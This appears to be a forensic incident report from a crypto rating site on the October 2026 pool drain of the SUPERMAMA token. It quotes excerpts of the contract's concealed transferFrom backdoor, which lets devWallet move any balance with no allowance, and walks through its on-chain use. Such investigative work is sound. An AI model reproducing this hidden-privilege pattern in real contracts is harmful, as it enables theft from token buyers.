← All news

SUPERMAMA: pool drain through a concealed transferFrom privilege

On 18 October 2026 a privilege concealed in the SUPERMAMA token contract was used to remove 99.9999% of the token reserve from its PancakeSwap V2 pool without any allowance. After a reserve update, the same tokens were sold back to the pool in the same block, withdrawing 20.3146 BNB. Renounced ownership and burned LP did not prevent it.

Token

SUPERMAMA (SUPERMAMA), 9 decimals, supply 1,000,000,000

Contract

0x5269cac4279825917c07761c8e162f9bfc79734f

Open the current rating on the radar

1. Scope and method

This analysis concerns only the contract 0x5269…734f on BNB Chain. Other tokens using the name SUPERMAMA are outside its scope.

All figures were read from BNB Chain through an archive node: transactions, receipts, event logs (including every Swap on the pool from launch to the drain), pool reserves and balances at the relevant blocks. The contract logic was examined in the source code verified on BscScan (compiler v0.8.34). Times are in UTC. Amounts are given in full token units; the token has 9 decimals, WBNB has 18.

2. Findings

1. The token's transferFrom function contains a concealed exemption: when the caller is the address stored in devWallet, the amount checked against the allowance is set to zero, while the full amount is transferred.
2. devWallet was set to the deployer in the constructor and can only be changed by the owner. Once ownership was renounced, the exemption remained permanently assigned to the deployer.
3. On 18 October 2026 at 18:33:43, in block 128,411,001, the deployer used the exemption to move 110,110,852.099 SUPERMAMA (99.9999% of the pool's token reserve) from the pool to a third-party wallet, then called sync on the pool to record the reduced reserve.
4. In the same block, that wallet sold the same quantity back to the pool and withdrew 20.314569 WBNB, 99.9999% of the pool's WBNB reserve. The proceeds were paid out as BNB to a further address.
5. Neither the renounced ownership nor the burned LP tokens could prevent this sequence, because it did not use owner functions or LP tokens.

3. Addresses involved

4. Reference to Binance

The source code opens with a comment containing the URL of a post published by the Binance Argentina account on X. The post shows the word "SUPERMAMA" with an image of a mother and a child; it names no contract address and announces no listing or Launchpad. A reference to a public post in a source-code comment does not by itself indicate any endorsement by Binance.

5. Launch

At this point the token presented the two protections most often checked by buyers: no owner, and liquidity that could not be withdrawn through LP tokens.

6. The concealed privilege

In a standard ERC-20 token, transferFrom(sender, recipient, amount) moves tokens on behalf of sender only if the caller holds an allowance of at least amount, and that allowance is reduced by amount. In SUPERMAMA the amount used for the allowance check is held in a separate variable, _fronggod, which the internal _transfer function resets to zero when the caller is devWallet. The relevant excerpts of the verified source:

function transferFrom(address sender, address recipient, uint256 amount)
    public virtual override returns (bool) {
    _fronggod = amount; _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(),
        _allowances[sender][_msgSender()].sub(_fronggod,
            "ERC20: transfer amount exceeds allowance"));
    return true;
}

// inside _transfer(from, to, amount)
if(_incheckSender(devWallet)) _fronggod = 0;

// in Context
function _incheckSender(address _sender) internal view virtual returns (bool) {
    if(_msgSender() == _sender) return true;
    return false;
}

When devWallet calls transferFrom, the full amount is transferred but the allowance check subtracts zero, so the call succeeds with no allowance at all. Any holder's balance can be moved this way, including the pool's. The logic is spread across three places and uses names that do not describe its effect, which makes it hard to notice in a review.

The constructor sets devWallet to the deployer. The only function that changes it, updateDevWallet, is restricted to the owner. Renouncing ownership therefore did not remove the privilege: it made it impossible to revoke.

7. The drain

All three transactions are in block 128,411,001 (18 October 2026, 18:33:43 UTC), about five and a half hours after launch.

Pool reserves before the drain: 110,110,962.209985216 SUPERMAMA and 20.314588994675195535 WBNB.

After the transfer and sync: 110.110962210 SUPERMAMA and 20.314588994675195535 WBNB. With almost no tokens left in the reserve, the pool priced each remaining token at roughly a million times its previous value.

After the sale: 110,110,962.209985216 SUPERMAMA and 0.000020365502700516 WBNB. The token reserve returned to its previous level, while 99.9999% of the WBNB was withdrawn.

The selling wallet held no SUPERMAMA before block 128,411,001. Its BNB balance changed only by the gas paid, since the proceeds went to the separate address named in the swap.

8. The market before the drain

To establish whose BNB was in the pool, we read every Swap event emitted by the pool from the block in which liquidity was added (128,366,912) to the drain (128,411,001), and grouped them by the address that sent each transaction.

The figures reconcile with the reserve: 2 WBNB placed at launch plus 902.79 paid in, minus 884.48 paid out, gives the 20.31 WBNB that the drain withdrew. The pool was an active market with hundreds of participants, not a pool funded only by the deployer.

The drain took the last 20.31 WBNB. Most of the losses borne by buyers had already been realised through ordinary sales before it: the 212 senders who ended with a gain took 552.62 WBNB out of the pool over the same period.

Nine senders made their first trade before ownership was renounced, between 38 seconds and three minutes after liquidity was added. Together they took 142.61 WBNB more than they paid in. Early trading of this kind is typical of automated snipers but can also involve wallets connected to a launch; this analysis does not attribute these wallets to the deployer.

9. Destination of the proceeds

The sale paid 20.314568629172495019 BNB to 0x404e…84b9, an externally owned account. Its balance was 0.567 BNB before block 128,411,001 and 20.882 BNB after it. At block 128,593,619 (19 October 2026, 17:23 UTC) its balance was 29.125 BNB and it had sent 7 transactions since the drain; we have not traced those transactions. The selling wallet, 0x7e79…d119, received none of the proceeds: its BNB balance in that block changed only by the gas it paid.

10. Why the protections did not apply

Burned LP tokens prevent liquidity from being removed through the pool's burn function, which requires LP tokens. Here the liquidity was not removed that way: the token contract itself moved the pool's tokens, and the pool's own pricing then released the WBNB in exchange for those same tokens.

Renounced ownership disables functions guarded by onlyOwner. The exemption in transferFrom is not guarded by ownership; it is tied to devWallet, which renouncing fixed in place.

11. Rating

Under our methodology, a D requires a verified liquidity withdrawal or a verified insider event. A transfer from the pool initiated by a verified controller through transferFrom, with no swap, mint or LP burn in the same receipt, is recorded as a direct extraction; a subsequent sale of those tokens that drains at least 70% of the reserve is an insider default.

In this case the controller is the deployer and devWallet, the extraction and the sale are both verified on-chain, and the sale withdrew 99.9999% of the WBNB reserve. The token is rated D.

12. Limitations

Market figures are grouped by transaction sender. One person can control several senders, and a sender can trade on behalf of others, so the counts describe addresses, not people.

This analysis establishes what happened on-chain and which address held the privilege. It does not establish who controls the wallets 0x7e79…d119 and 0x404e…84b9, or their relationship with the deployer beyond the sequence described. The drained WBNB includes the 2 WBNB placed in the pool at launch; the remainder came from buyers' purchases and trading.

Sources

• Verified source code on BscScan
• Deployment transaction
• Liquidity added and LP burned
• Ownership renounced
• Transfer out of the pool
• Pool sync
• Sale
• Binance Argentina post on X
• Archalis methodology

Ratings are automated assessments of structural risk from public blockchain data, not investment advice. Methodology.